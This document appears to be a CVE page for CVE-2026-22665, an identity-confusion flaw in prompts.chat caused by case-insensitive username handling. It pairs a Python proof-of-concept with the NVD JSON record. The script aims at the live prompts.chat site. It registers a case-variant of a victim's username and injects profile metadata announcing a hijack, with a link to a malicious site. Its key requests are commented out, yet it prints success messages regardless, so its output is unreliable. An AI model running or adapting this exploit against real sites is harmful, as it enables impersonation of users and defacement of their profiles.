CVE-2026-22665

import requests # Configuration target_url = "https://prompts.chat" target_username = "victim" # The existing victim's username attacker_username = "Victim" # Case-variant to bypass uniqueness check def exploit_identity_confusion(): session = requests.Session() # Step 1: Register the case-variant username register_payload = { "username": attacker_username, "email": "[email protected]", "password": "StrongPass123!" } try: print(f"[*] Attempting to register case-variant user: {attacker_username}") # r = session.post(f"{target_url}/api/register", json=register_payload) # if r.status_code == 200: print(f"[+] Registration successful. Identity confusion possible.") # Step 2: Verify impersonation on canonical URL # The system might resolve 'victim' to the attacker's profile due to case-insensitivity profile_check = session.get(f"{target_url}/u/{target_username}") # Step 3: Inject attacker-controlled metadata update_payload = { "bio": "This account has been hijacked via CVE-2026-22665", "link": "http://malicious-site.com" } # session.post(f"{target_url}/api/profile/update", json=update_payload) print(f"[+] Payload injected. Victims visiting /u/{target_username} will see attacker content.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit_identity_confusion()

{"cve": {"id": "CVE-2026-22665", "sourceIdentifier": "[email protected]", "published": "2026-04-03T21:17:09.693", "lastModified": "2026-04-13T18:10:46.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "prompts.chat prior to commit 1464475 contains an identity confusion vulnerability due to inconsistent case-sensitive and case-insensitive handling of usernames across write and read paths, allowing attackers to create case-variant usernames that bypass uniqueness checks. Attackers can exploit non-deterministic username resolution to impersonate victim accounts, replace profile content on canonical URLs, and inject attacker-controlled metadata and content across the platform."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-178"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fka:prompts.chat:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-03-24", "matchCriteriaId": "CC79D2B7-A39B-46F9-8909-B1B54FE7C05F"}]}]}], "references": [{"url": "https://github.com/f/prompts.chat/commit/1464475df2698fb7ccd0cdbc382b0750466f891d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/f/prompts.chat/pull/1098", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/prompts-chat-identity-confusion-via-case-sensitive-username-handling", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}